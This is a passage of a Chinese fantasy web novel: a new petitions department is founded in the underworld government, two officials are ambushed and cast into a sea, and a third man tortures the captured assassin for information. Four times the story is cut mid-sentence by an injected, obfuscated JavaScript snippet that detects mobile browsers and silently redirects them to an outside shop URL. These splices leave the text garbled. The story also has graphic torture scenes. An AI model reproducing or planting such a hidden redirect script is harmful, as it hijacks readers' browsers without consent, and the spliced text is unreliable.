祝平安再次感受到了咽喉处传来的束缚感,张松鹤最后牵着那条领带,上下打量了她几眼,才恋恋不舍地放开:“好了,看看满不满意?” 祝平安摸摸那个结,见他终于拉开距离,这才松了一口气:“谢谢。” “不客气,随时为您效劳。”张松鹤对她眨眨眼,“这次可要注意形象,别再弄松了哦。” 有了这么一个小插曲,祝平安在路上就把今天心跳过速的额度给透支了,到了她上台发言的时候,那叫一个声音洪亮落落大方,一点都不憷场子,听得下面的人频频点头。 报告做完,就到了举手表决时间,与会者不免交头接耳一番,最终进行表决时,共有37人投了同意票,4人反对,3人弃权。 主持会议的包大人统计票数完毕,轻咳一声,宣布了最终决定:“赞同票占比超过80%,即日起,民诉工作将在羊城全面推行,羊城府即日组建民生诉求部,负责此项工作。” 好耶! 祝平安在心里暗暗欢呼,可现在她人模狗样地坐在会场上,不敢发出什么声音,只好鬼鬼祟祟地悄悄跺脚。 这时,身边忽然出现伸过来一个拳头,她扭头一看,张松鹤同样面不改色地坐在一边,但在桌下,悄悄对她发起了碰拳邀请。 她忍住激动,也伸出拳头对他碰了碰,接着继续倾听下一项议程。 “接下来进行会议的下一议程,我们需要讨论出民生诉求部的组织架构、人事任命……” 接着就是一连串又臭又长的讲话,其实民诉部的组织架构,温尔雅已经整理好了,标配依然是一名部长,一名副部长,下设六个处:诉求分拨处、数据管理处、设备建设处、设备维护处、组织协调处、综合行政处。 人事方面,自然也是围绕着专班成员而定。虽然大家职级暂时不够,但新部门对这种事情会宽松很多,大不了就暂代领导职务,等到职级升了后就由暂代转正。 诉求分拨处无疑就是民诉部的核心职能,也是最累最忙的部门,宋清辉暂代处长。数据管理处负责及时更新鬼民信息到民诉通内,温尔雅暂代处长;设备建设与设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102185|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备维护也是顾名思义,暂代处长的分别是周北和鲁默。 组织协调处负责沟通兄弟部门,协力解决投诉,蔡家暂代处长;综合行政处则是负责部门的人事、财务、后勤等行政事务,暂代处长的是卫珑。 这些办事的基层岗位没人会放在眼里,基本上都是按照温尔雅上交的方案来安排的,表决同意时也是全票通过;而到了部长与副部长的人选时,大家就有了异议。 张松鹤是公共安全部的部长,现行规则不允许他再兼任一部之长,他倒是早就坦然接受了这个结果,在会议开始前,就已经跟包大人交流过,将祝平安作为部长候选人报了上去。 当祝平安的履历作为部长候选人出现在大家面前时,整个会场顿时一片哗然。 “只做了两年多差役,即使把在琢玉学院的时间也加上,到现在也不过是三年而已,独领一部?太荒唐了吧?” “唔……确实太年轻了,确实有些儿戏……” “资料拿错了吧?” 质疑声在会场内嗡嗡不绝,但也有一些赞同的声音出现:“在琢玉学院做过唯一的学生社团的副会长……还勇于参与救灾,拿过地府英杰的表彰……” “烂尾房和烟花厂的案子处理的都很好,经常上报纸,在媒体中有号召力,群众中有人望……人也是干净利落,一看就可靠能干……” “拿过创新治理大赛头名,是包大人力捧的政治新星,工作能力也不错,这次宝华楼的案子也是她第一个发现……” 祝平安凝神听去,发现反对的声浪还是大些,不由得有些沮丧。不过她也不是贪心的人,现在就当部长什么的想想就算了,她能去民诉部做个副部长就不错了。 包大人见台下的讨论声越演越烈,只得又起身讲了两句:“这位祝平安同志,在工作中表现一向卓越,民诉通能够成功诞生试点,她也有许多功劳。她可能是年轻了一些,但我同意将她列入部长候选人之中,正是为了让她给地府带来一些年轻活力,契合新部门的创新精神……” “希望各位能够摒弃对她年龄的偏见,通过她过往的工作表现,来认真衡量她是否适合做这个位子。” 会场上静默半晌,一个声音忽然响了起来:“包大人,恕我直言,这位祝平安同志即使有再多的优点,也不适合担任这个职位。” 说话的人是个三十多岁的瘦削男子,白面无须,身上的制服却明晃晃地显示他是一位府君。包大人皱了皱眉:“崔府君有何看法?” “如果这位祝平安同志担任的是副部长,那我没有丝毫异议,因为副部长主抓的就是日常事务工作,只要工作能力出众,就可以不拘一格降人才。而部长的工作职责与副部长可大不相同。” “部长,更多时候要担任的角色,是为部门工作指明总体方向,不是能将一件事办好就能做部长。”崔府君站起身来侃侃而谈:“尤其在新部门创立之初,部长之位更需要一个老成持重的人来担任,为大家制定好规则,划清责任界线,明确能做什么、不能做什么,调节与兄弟部门的关系……” 他话锋一转:“恕我直言,这种能力在年轻人身上难得一见,也许这位祝平安同志更应该在副部长岗位上再锻炼几年,等到民诉部的大框架定型,未来再让她接班担任部长也不迟。” “在此,我举荐一位同志担任民诉部部长之位,那就是原应急部部长冯兆成同志。”崔府君说完,笑吟吟望向包大人:“不知诸位意下如何?” 110.暗杀 “冯兆成吗?他资历倒是很深,确实算是合适……” “他不是因为在荧惑星君之乱时反应太慢,被包大人斥为缺乏才干吗?现在虽然没有剥夺职级,也是在家里养老,怎么能统领新部门?” “你是真糊涂还是装糊涂?就是因为冯兆成是个庸碌之人,才适合做这个部长啊。你看,他缺乏才干,副部长大展身手的机会不就多了?新部门初创,最容易出乱子,若是副部长办错了事情,还能把冯兆成拉来顶缸……” “你这么一说也是啊!崔府君不愧是包大人的铁杆,真会找下台阶,举荐冯兆成,就是让他帮着那位政治新星占坑位的,等过两年,祝平安资历够了,不就顺理成章的上位了?” 包大人听到台下的议论声,眉毛慢慢拧起来。冯兆成确实是个安全的选择,崔府君提出的这个方案相对更加稳妥,可他还是不想让这种庸碌之人做部长,哪怕只是暂时的也不行,就怕他磨灭了初创部门应该有的锐气。 不过,经过崔府君这一说,他倒是也认可了这个思路。祝平安虽好,但部门初创时期也不能全部用新人,总要有个压得住阵的,也免得年轻人不知轻重,闹出乱子。张松鹤原本是个好人选,但他又脱不开身,公共安全部确实离不开他…… 沉吟片刻,他终于下了决定。 张松鹤和祝平安走出大门,确认自己已经走到了无人能看到的地点,祝平安也迫不及待地将扣子解开两个,松了口气。 “怎么,没当上部长,不开心吗?”张松鹤询问道。 “没,我觉得那个崔府君说的挺有道理的。”祝平安也诚心实意道,“之前在你手下做副部长,知道上头还有个人帮我顶着,心里其实会轻松不少。” 张松鹤也点头:“公孙先生虽然做了部长,但他也是暂代,这个位子,包大人还是为你留着的。只要你有了能够匹配这个位置的资历,就一定能当上部长。” “我真的没有在意啦,现在我的经验确实是不足,让我独领一部,我自己心都没底。”祝平安看看他,忍不住想起往事,笑道:“我当副部长,遇到事情,还能呼叫上级支援;真的当了部长,跟你平级,遇到事情,又该怎么办呢?” “我不是你的上级,你就不敢呼叫我支援了吗?”张松鹤想到从前,也笑起来,“你的胆子有这么小吗?” 他弯下身子,单手抚胸,行了一个西式的礼节:“不管是你的上级张部长,还是你的朋友张松鹤,又或者是你的张老师、为鬼民服务的张差役,他们都随时等待着你的召唤,期待为你效劳。” 祝平安也想起几年来,两人关系几度流转变幻,现在又归于普通朋友,心中忽然不知道是什么滋味:“你不说,我都忘了,我居然用那么多种方式称呼过你。” 张松鹤笑笑直起身子:“将来,说不定你还会给我其他的称呼呢。” 什么意思? 祝平安好奇地看着他,张松鹤清清嗓子,模仿一派老成的口吻:“你升的这么快,将来说不定职级比我还高,那时候,你就可以叫我小张啊。” 小张? 祝平安噗呲一下笑出来,实在无法将这个名字跟他联系在一起,连连拍着胸口给自己顺气:“说什么呢你,那也太不尊重你了,我是那么忘恩负义的人吗?” 她收住笑,郑重又诚挚的说道:“不管将来我去到多高的地方,我永远都会记得,是谁把我从世界的最底层拉了出来。” “如果没有你的帮助,我现在会在哪里?在做什么?也许早就死了吧。你给了我一个合法的身份,给了我一张推荐书,给了我你的信任……如果没有你鼓励我做差役,没有你一直以来帮助我、给我机会,让我成长,哪里有我的今天?” “我永远不会叫你小张的。”祝平安无比诚恳道:“不管过去发生了什么,你都是我的恩人、我的引路人、我的同伴……未来,我们还要一块走下去,做更多有意义的事情,让这个世界变得更美好。” 张松鹤凝望着她伸到自己面前的拳头,心海掀起巨浪,她对他的称呼有那么多,可偏偏都不是他最想听到的那一个,但,他也应该知足了,不是吗? 她对他,终究是有感情的。 即使那不是恋人之间的爱,可他们曾经共同经历了多少辛酸苦辣,多少颠沛坎坷……一路走来的旅程,已经将他熔铸成了她生命里不可或缺的一个部分,熠熠闪光。 她的心头也许没有他的位置,但她的生命里,将永远有他一席之地。 如此也很好。 祝平安把拳头伸到张松鹤面前,等待着他跟自己碰碰拳头。可她等了又等,都不见张松鹤的回应,她不禁有些尴尬,就当她讪讪地想要收回手时,她的拳头忽然一暖。 他的手掌很大,双手合拢,将她的拳头包裹在掌心。他垂下眼帘,掩去眼中波澜:“好啊,不管以后发生了什么,我永远都是你的……你的朋友,你的同伴,你的后援。” 他紧紧握着她的手,一字一顿地许下自己的诺言:“无论你去往哪里,张松鹤永远与你同行,任你差遣。” 祝平安有点被他的话语震住了,她欲要抽手,却觉得有些对不起他话语里的真挚,只好任他握着。 好在张松鹤的失态只是一瞬,说完那句话,他紧紧捏了一下她的拳头,便放开了手,仿佛什么事情都没发生过一样,含笑道:“就这么说定了,以后遇到什么事情,别忘了差遣我去办哦。” 祝平安也整理心情,笑着答道:“好啊,我记住了,到时候民诉部有什么案子找到公共安全部,你可不能推诿哦!” 两人就这样默契地不再提刚刚的小插曲,继续往公共安全部的方向走。眼看着快走到公共安全部门口,却看到一个老者昏迷在路边,身边的有一个打翻的篮子,篮子里的水果滚了一地。 这是怎么啦? 两人顾不得多想,连忙上前几步,祝平安拍了拍老人的脸:“老人家,你能听到我说话吗?你是突发疾病,还是哪里不舒服?” 老者指指自己的口袋,嘴巴动了动,祝平安连忙去摸老者的口袋:“里面是有药品吗?” 张松鹤却隐约感觉到一丝诡异。 如果真的是个病患,病人的手部肌肉应该是瘫软颤抖的,可这老者的手指明明很稳定,丝毫没有失控的迹象。 见平安懵然不知地去掏那老者的口袋,他心中猛然警铃大作,不假思索地就扑了上去:“不要碰!” 可是一切都已经晚了,祝平安的手已经伸到了老者的口袋里,摸到了一个冰凉坚硬的东西,绝不是药品的轮廓。 瞬间,她如遭电击,浑身麻痹无法行动,她一愣,便看到张松鹤惶急地向她扑过来,一把拉住她的手,另一只手就要去提起那老者…… 咔嚓!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106818|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一道黑色的雷电忽然从天空中劈下来,坐在办公室的温尔雅心口忽然如遭重击,一股奇异的恐惧让他坐立不安。 会议早就应该结束了,平安怎么还没有回来?张松鹤那小子,不会趁机勾引她吧? 他难耐地踱步到窗前,希望能在路上看到他魂牵梦萦的那个身影,然而刚一抬头,便看到了令自己血液冰凉的一幕。 祝平安还保持着那个伸手的姿势,身躯却如被万钧之力压住,动都不能动。有古怪,她拼命眨着眼暗示张松鹤:不要过来! 张松鹤的手已经握住了她的手腕,与此同时,他的身子也是一麻,再不能动了。地上昏迷的老者一骨碌爬起来,看那动作姿态,哪里是个病患?这是针对他们的陷阱! “啊,终于都捉住了。”那老者笑眯眯地看向祝平安:“真可惜,你是个好姑娘,我本来只想要捉你身边那位,不想牵连你的,可谁让你太好心,自己往陷阱里撞呢……” 一道黑色雷电以雷霆万钧之势向着老者劈下来,张松鹤咬牙拼命挣扎,这种麻痹术并不能阻止他太久,但他心中却是一阵凉似一阵。倘若敌人真的是冲着他来的,只怕不会只用禁锢术这么简单……平安……自己不能连累她…… “哦,没想到还有挣扎之力。”老者敏捷地一闪身躲开那道雷电,“那我就不废话了,二位一路好走,要怪就怪你们挡了别人的路吧。” 他这是什么意思? 祝平安身躯僵硬麻痹,只能被动地等待一切发生。只听耳边传来一个打响指的声音,她只觉身下一空,脚下忽然变成了一个黑洞。她和张松鹤像两块姿势古怪的石头,手握着手向下坠去。 就在坠入黑暗的一刹那,她听见一个撕心裂肺的熟悉声音:“平安!!!!!” 是……温尔雅。 她努力向上转动眼珠,希望能看见他的面容,却最终什么也没看见。 黑洞合拢,天空、大地、光芒……整个世界在离她远去,唯一能感受到的,除了心中的惊骇,就只剩下对温尔雅的担忧。 这可……怎么办啊。 温尔雅,永远不让你寂寞的承诺,我可能要食言了。 啪! 公共安全部紧锁的玻璃窗被温尔雅一拳击碎,碎玻璃将他的右臂划出深深的伤口,血液立刻奔涌而出。办公室的其他同事吓了一跳,可他仿佛浑然不觉。 “温尔雅!你做什么?”卫珑站起身惊呼道。 他什么都听不见了,跃出窗子,从四楼翻身下跳,卫珑惊呼着要过来拉住他,却慢了一步。她心惊胆战地冲到窗台边望去,却没看到预想中坠楼身亡的场景。只见地面起伏绵延,平坦的广场隆起巨大的土坡,稳稳接住了温尔雅。 他向着她奔去,缩地术瞬间发出,卫珑再看时,不过是呼吸间,温尔雅已经冲到事发地点。 可是一切都已经晚了,术式发动,黑洞合拢,他的所爱从他眼前坠落无踪。 他只来得及叫一声她的名字,甚至没来得及看一眼她的样子。 空气中只留下一阵薄荷的馨香,他亲手为她选购的,令他刻骨铭心的味道。然而很快,一阵风吹起,连她最后残留的气息都逸散不见。 当他凝聚心神时,他能够感应到大地上每个生灵的位置,可现在……他感觉不到她。 他的平安,在这个世界上消失了。 111.生死相依 那一刻,随着祝平安的消失,温尔雅心上的空洞再度膨大,盈满了整个世界,吹出了更为恐怖凄厉的冷风。 温尔雅已经完全忘记自己的身份和伪装,随着他双手挥动,地面涌出无数岩石,组成一座带刺的牢笼,将那正欲逃开的老者牢牢困在其中! “该死的!不是说真正棘手的只有张松鹤一个吗?这是怎么回事!”老者头冒冷汗,使劲去撬动那些岩石,他这类的杀手擅长的是伪装、法术等手段,出其不意暗杀他人,根本不擅长正面作战,显然是不可能摇动岩石分毫的。 卫珑他们这会儿才赶下楼,惊呼着跑向温尔雅:“是平安出事了吗?温尔雅,你说话啊!” 手臂滴着鲜血的男子对身边的一切置之不理,径直走到老者面前问话,那声音轻柔又空洞,似乎刚刚失去了自己在世界上的主心骨:“你把他们弄到哪里去了?” 老者冷哼一声,自是不会作答。只见那男子动了动手指,他眼球传来一阵尖锐的裂痛,瞬间什么也看不见了,只觉得两道咸腥的热流从他脸上滚落。 卫珑捂住嘴,惊骇地看着两根尖锐的石笋从地面拔地而起,精准地刺瞎了那老者的眼珠。 老者血流满面,形貌狰狞,痛的想在地上打滚,却被牢笼困住,动弹不得,只能发出惨绝人寰的叫声。 温尔雅的声音仍旧轻柔:“这是一点小小的惩罚,如果你再不合作,下一步,就活活砸烂你的小指骨,然后是掌骨、腕骨、踝骨、小腿骨……你身上有206块骨头,我会一块一块地把它们碾成粉末。” “我没有跟你开玩笑的意思,我说到就会做到,不信的话,你尽管试试。” 一根石柱从地面升起,顶起老者的下巴,温尔雅居高临下地俯瞰着那张痛的五官扭曲的脸,一字一顿地问道:“现在,回答我,你把他们弄到哪去了?” 老者一咬牙:“既然栽在你手里,那也是我的命数,常在河边走,哪有不湿鞋?但是想要从我这得到消息,那是妄想!” 说罢,他便咬破自己藏在口中的毒囊。酷刑什么的他自知熬不过,还是干脆点死掉最好。 他口中的毒药是他自己亲身研制,是最为猛烈的剧毒,只要服下一分钟,便能一路烧毁他的肠肚。他满意地感觉到喉间穿来一片剧痛,知道那是毒药已经烧坏了他的喉咙。 “想要干脆的咽气?”温尔雅看出了他的举动,轻柔一笑:“可惜,我不答应。” 他冷眼看着那杀手已经开始抽搐,这才猛地在那杀手的腹部上击了一拳。治愈神力流遍杀手身体,杀手只觉得自己腹中如火烧般的痛楚立刻停止,喉咙又重新恢复了说话功能:“你?” “我一定会送你去死的,但不要那么着急。”温尔雅的声音轻柔地像是情人的絮语,“没有我的允许,死亡对你来说,也是一种妄想。” “我可以把你全身的器官砸烂,然后再次治好你,砸烂、治好、砸烂、治好……我可以陪你玩上一百年一千年一万年!” 温尔雅眼眸一眨不眨地盯着他,目光中闪动着疯狂,“现在,回答我,你到底把他们弄到哪里去了!” 卫珑简直不敢相信自己的眼睛,她现在分不出是谁更恐怖,是那个血流满面的老者,还是这个已经疯狂的温尔雅? 温尔雅的动静太大,此刻,全办公楼的人都被他吸引出来了,路人也越聚越多。 卫珑跟几个一直在场边的人交头接耳一番,确认了来龙去脉,也忍不住急的跺脚。但她不能放任温尔雅这个样子下去,她连忙大喊道:“温尔雅!停下来,要处理他也不能在这里!” 见温尔雅恍如未闻,她咬牙继续大喊:“光靠你一个人救不出平安的,想想还能找谁帮忙!” 平安两个字落下,温尔雅的眼睛终于空茫地眨了眨。 祝平安感到自己在一片黑暗中下坠,这是她第三次感受到下坠的滋味,每一次她遇到危险,都必然伴随着跌落……她确定,自己一定会得失重PTSD的。 下面会是什么?刚刚那个杀手明显是奔着要他们命来的,下面保证不会是什么洞天福地,是插满尖刀的陷阱?是充满着一万条毒蛇的大坑?是翻滚着熔岩的火山口? 世界上最恐怖的就是未知,尤其未知的又是自己的死法……祝平安就算胆子再大,也面色发青了,可她身体不能动,连哭两声都是奢望。只能暗暗期待自己不要死的太难看,以免温尔雅发现她尸首的时候伤心。 张松鹤的手脚逐渐恢复了知觉,他知道,这是麻痹术的时间过去了。他顾不得活动僵麻的四肢,几乎是恢复知觉的一刹那,他便用力将平安拉到了怀里。 她的体质无法与他相提并论,身上的麻痹术还没失效,身躯僵直,惊恐万状。他将她紧紧拥入怀中,用身体把她整个包裹起来,不停在她耳边说道:“不要怕,我还在……我在……” 下坠依然没有停止,他感受到怀中的那个身体逐渐从僵硬变得柔软,不知过了多久,她发出一声响亮的抽泣声,一只手死死抓住了他的衣襟:“张松鹤?” “我在。”他顾不得许多,更加用力地抱紧了她:“别怕,我一直在。” “张松鹤张松鹤张松鹤!我害怕!”回应他的,是她更紧的拥抱,再次直面死亡,祝平安实在是怕的不行了,她手脚并用地缠在张松鹤身上,得知自己不是孤零零赴死,这让她内心多少得到了一点安慰。 “我在,我在……”张松鹤只觉骨头都被她缠痛了,只能一声声的回应她:“你别怕,就算是死,我也一定会让你死在我后头……” 身边的光影忽然变幻,强光直刺两人的眼睛,让他们都忍不住闭眼。下一秒,水花四溅,他们一同坠入海中。 祝平安万万没想到,下面居然是一片海。 他们从天而降,她的水性只是一般,惊恐之余呛了一口水,肺部立刻便是一阵剧痛,意识朦胧中,只有一个意识在脑海中极为鲜明:那就是抓住张松鹤。 张松鹤只觉怀里的人身子一滞,接着便是浑身抽搐挣扎起来。他知道她是呛了水,心下大急,他们的下坠之势尚未到尽头,可平安眼看就要等不到浮上水面的时候了! 一股强劲的水流,随着他的心意而动,从大海深处喷涌而出,推动着他们向海面飞速而去。哗啦一声,一股壮观的水柱如同水龙卷一般连接天地,将坠海的两人顶出水中。 必须要找到一个平坦的地方,给平安急救……水柱轰然落下,一触到海面便化为巨大的浮冰,张松鹤抱着平安落在浮冰之上,用力按压她的胸腹,希望她能吐出积水。 四下茫茫,没有一片陆地,她已经没有自主呼吸,张松鹤在脑海中回想着施救溺水者的方法,手抖的不像样子。 从没有一刻,他这么憎恶自己,她是被他连累的,都怪他,都怪他…… 他先是检查她的口鼻有无异物,接着便开始给她做人工呼吸。 他曾经幻想过与她接吻,甜蜜的、浪漫的轻吻。她的气息会像沁凉的香草,嘴唇柔软如雏鸟的羽毛……他想过许多她的反应,羞涩的、大胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他一次又一次地低下头,把脸贴到她的口鼻旁边,确认她还有气息,手臂紧紧箍着她的身体,好像永远都不愿意放开。 祝平安没有拒绝他的拥抱,一半是因为没有力气说话,一半是因为在险死还生之后,她也需要这样的拥抱,来证明自己还活着。 她就这样默默让他抱了一会儿,终于养回来一点力气,这才在他怀里微微一动:“好了……哭一会儿表达激动……就可以了……我还没死,不用哭丧……” 他最深的恐惧又被她一句话激起,怒道:“什么哭丧?你再也不准说这种话!” 怒过之后,他又想起她现在的状况,无尽的后悔又涌进他的心里,他低头,眼泪一滴一滴地流进她的肩窝:“再也不要这样吓我……我会受不了的……” 祝平安的心被他的眼泪沁得一片酸软:“好了……是我不对……但你也控制一下……眼泪都滴到我脖子里了……” 确认她真的没死,张松鹤的紧绷的神经终于放松下来,他这才意识到自己的失态,深呼吸几次,抹了抹自己的眼泪,平复情绪。 祝平安见他不再哭了,打趣道:“想不到你这么怕我死啊?” “是啊,要是没有了你,我活着做什么?”他刚刚哭过,声音依然是嗡嗡的,分辨不出情绪:“你死了,我自己一个人在这片海里飘来飘去,不知道什么时候才能上岸,连个说话的人都没有,还有什么活头儿?” 祝平安也深深庆幸还有一个同伴跟她一块儿,若是一个人孤独无依地漂泊在大海上,她也宁可一头撞死算了,起码还死的痛快。 想到这里,她支撑着张松鹤的胸膛坐起来,这才发现自己坐在一大块浮冰上:“我们这是在哪里啊?” “我也不知道。”张松鹤小心地托着她的头,“你醒了就好,我会操控水流,推着我们向前漂,看能不能找到一块陆地。” 112.搜救行动 张松鹤用水流推动着浮冰向前漂浮,他不敢推得太快,害怕再度造成翻船落水的惨剧,前进速度也就跟摩托艇差不多。 海上浪花起起伏伏,祝平安本就落水不适,再被波涛一晃,她晕船晕得昏天黑地,脸色惨白,不要说站起来,就连坐都坐不起来,时不时就要干呕,偏又吐不出东西。 这里阳光强烈,气温直逼四十度,上面在晒,身下是冰,又晃来晃去……祝平安只觉自己成了一块陈皮,被九蒸九晒,内外夹攻。 张松鹤心疼地让她伏在自己腿上,帮她拍背,可是却没什么用,她需要的是一片不会摇晃的陆地,一个能让她安心休息的柔软床铺,一个能治好她的人……可是这些,都在哪里呢? 他们已经在海上飘了一天了,陆地仍是连影子都没。张松鹤逐渐发现这里的特异之处,他们来到这里之后,绝对超过12小时,可太阳依然高高挂在天上,丝毫没有落山的意思。 这里,似乎并没有时间的概念,也没有空间,只有一片荒芜的海。毒辣的太阳直刺祝平安的眼睛,让她的不适越演越烈。 起初,祝平安还试图跟他保持普通朋友间应有的距离。她明白自己其实对俊美男子都没什么抵抗力的,想要跟人保持普通朋友关系,那就不能出现单独相处的情况……尤其她也不是没对张松鹤动过心。 后来她发现那完全是一种矫情,在这片海域上,只有他们俩和一块浮冰,再躲能往哪躲?何况离开张松鹤的照顾,她只有死路一条,这会儿也顾不上别的了,命最重要。 是以她现在已经能非常坦然地接受张松鹤的拥抱,尤其是现在,她翻身的力气都没有,不接受他抱来抱去,那就只能挺在冰面上,一小时后就变成咸鱼。 “喝点水吧。”张松鹤再次把她扶起来,让她的脑袋靠在自己的胸膛上。 她配合地靠好,张开嘴等着,一股水流从张松鹤的指尖流淌下来,不多不少,正好是她一口的量。见她咽下去,他又问:“要不要再来一点?” 祝平安摇摇头:“我不喝了,你也该喝一点了。” “我不需要吃喝睡觉的,你忘了,我是预备役神明呀。”张松鹤拒绝了她的喝水提议,动作轻柔地把她放下:“你困不困?其实你已经超过12小时没睡觉了,还是休息一下?” “太阳太晒了,我睡不着……”祝平安摇摇头,这里的日光是她见过最刺眼的,即使闭上眼睛也挡不住那种炫目的感觉。 “给你这个。”张松鹤脱下自己的衣服罩在她脸上,希望能让她好受一些,祝平安却不要:“你把衣服给我,你怎么办?皮肤很快就会晒伤的。” “晒伤有什么?又不会晒死。”张松鹤却不容她抗拒,扯起衣服把她兜头罩起来,只给她留下一丝喘气的缝隙,又把她抱在自己身上:“想喝水的话就叫我,别不好意思说,脱水的话就没救了。” 他的衣服上有咸咸的海水气息,还有一丝隐约的冷冽香气,祝平安使劲的嗅了嗅,跟发现了新大陆一样:“张松鹤,原来你喷香水的?之前我怎么没发现?” “是啊,香一点,比较讨人喜欢嘛。”张松鹤的声音从他胸膛里传来,回荡在他衣服营造出的小空间里,他的气息和声音填满了这个空隙,祝平安忽然脸红起来,幸好他看不见:“你不香也算是讨人喜欢的,不用这么追求完美吧?” “万全的准备总没有错,谁知道哪一天,就会有人被这香水的味道打动呢?”张松鹤笑着摇摇头,两年前她醉酒的那个夜晚发生的事情,再度浮上心头。他因为不够香而输掉送她回家的权利,现在想想,这应该是一切阴差阳错的起源了吧? 他等着她再说些什么,却很久没有听见她的回音,他悄悄掀开那件衣服一看,她已经靠在他胸口睡着了。 如果不是时间地点都不对,张松鹤想这也许会是他人生最幸福的时刻。 倘若他们不是迷失在这片海上,她也没有受伤,这样拥着睡着的她漂浮在大海之上,天地之大,唯有你我,应当是世界上最浪漫的事情了吧? 他心里泛上一丝甜意,为这次暗杀带来的意外亲密接触;随之涌上的则是酸涩,如果有可能的话,他宁可永远没这个机会,也不愿意她漂泊热海,受此痛苦…… 但,事情既然已经发生,总要享受它好的一面吧? 他把衣服盖了回去,感受着胸口沉甸甸的重量,用全身所有的感官去记住这一刻:她脸颊的柔软触感,她睡着时匀称的呼吸,她的眼睫毛擦过他皮肤时带来的酥痒感…… 他就这样矛盾地享受着,铭记着,暗暗祈祷这一刻能够永恒。 然而很快,他就开始后悔自己曾经有过这样的想法。 祝平安已经睡了七八个小时,还是没醒,虽然舍不得叫醒她,张松鹤还是轻轻掀开衣服,她必须喝点水吃点东西,否则身体更加撑不住。 然而衣服一掀开,他就是一惊,平安的脸色泛着不正常的潮红,不管他怎么叫都不醒。张松鹤伸手探了探她的体温,一下缩回了手,好烫!她在发烧! 他慌了,心知这是因为呛水引起的感染。她昏昏沉沉地皱紧了眉毛,似乎在做一个醒不过来的噩梦,哼哼着:“热……” 可是他没有丝毫办法,这里没有医院,没有药水,连让她能安稳睡一觉的陆地都没有,他对医术一无所知,他不是那个能够抚慰她伤痛的人! 温尔雅……这是她最需要你的时候,可陪在她身边的,为什么偏偏是我?你在做什么呢?你可知道,她受的痛苦? 温尔雅在审讯室。 那是公共安全部的审讯室,但现在,那里已经被他改装成了一间无人敢进入的刑房。 刑房内,只关着一个犯人,犯人浑身都被铁索卡住,保证他无法逃逸,温尔雅坐在他面前,手里捏着一把削水果的小刀。 温尔雅捧起犯人的手放在桌上,灵巧的转动小刀,像是削一个苹果一样,将犯人小手指的皮肤完全削下来,他削的细致匀称,没有一丝一毫的皮肤残留在血红色的肌肉上,甚至皮肤中间都没断,落下来也如一条卷曲的苹果皮。 温尔雅微微蹙起了眉毛,平安很爱吃他削的水果,不知道她现在怎么样,在哪里?那个地方,也有人献上削好皮的水果,喂到她嘴边吗? 想到这里,他眼里忽然染上无法控制的暴戾,高高扬起手腕,咣地一声就剁掉了那犯人的小手指,鲜血喷涌而出,溅了一桌子。 犯人浑身抽搐,却没有叫出来,一个石头枷锁紧紧卡住犯人的喉头肌肉,让人叫不出也喘不过气来。温尔雅不喜欢听犯人的惨叫,那会打扰他想平安的时间。 眼见犯人已经逐渐翻了白眼,他这才在犯人身上踢了一脚,断掉的手指重新生长出来,这一幕也让他想起平安,想起她在对战荧惑星君时,是怎样倔强勇敢地一次次站起来,想起他的一滴眼泪曾经融入他的血肉里…… 她失踪已经快一天了,没有他在身边,谁来照顾她?谁给她一个安稳的怀抱入眠?如果她受伤了,谁来治好她身上的伤口? 这一切,都拜眼前的犯人所赐,他心念一动,卡住犯人咽喉的枷锁稍稍松开:“我再问一遍,她在哪?” 犯人已经吓破了胆子,哭道:“我不知道,我真的不知道!” “还是不说实话。”温尔雅握紧手指,枷锁再次死死扣住犯人的咽喉,“好啊,那我们就继续玩玩吧。” 审讯室外忽然传来一阵敲门声,卫珑的声音传了过来:“温尔雅,快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这个血珀的来历,我们刑侦也已经查清楚了。”白子欣道,他也是一夜没睡,眼冒血丝,“虽然有人试图抹去线索,但是温尔雅抓住犯人的动作很快,他们没有反应过来,所以还是让我们查到了,这血珀来自宝华楼。” 他说完这句话,现场一片沉默,良久之后,包大人一掌击在桌子上,拍案而起。 “太嚣张了!这是犯罪分子对差役的打击报复!” 包大人怒气难平,厉声下令:“以为暗杀了公共安全部的部长和副部长,就不会有人往下追查了吗?公孙先生,把这个案子接过来,即日起,我亲自督办,看这些魑魅魍魉往哪逃!” 见包大人拿出一副要严办的姿态,卫珑松了口气,她大胆询问:“大人,失踪者的下落……” “一定要找!”包大人发话:“笨办法也是办法,先兵分四路吧。张龙赵虎,你们带武装部,去搜郊外;王朝马汉,你们带公共安全部,搜城区!谢必安范无咎,你们俩机动巡逻,注意可疑的空间波动!人曹官,你带宋清辉去一趟天界,看能不能请动千里眼顺风耳,查找他们的踪迹!” 会议结束,大家都紧张地行动了起来,未被编入官方搜索队的几人也都想办法献出自己的力量。 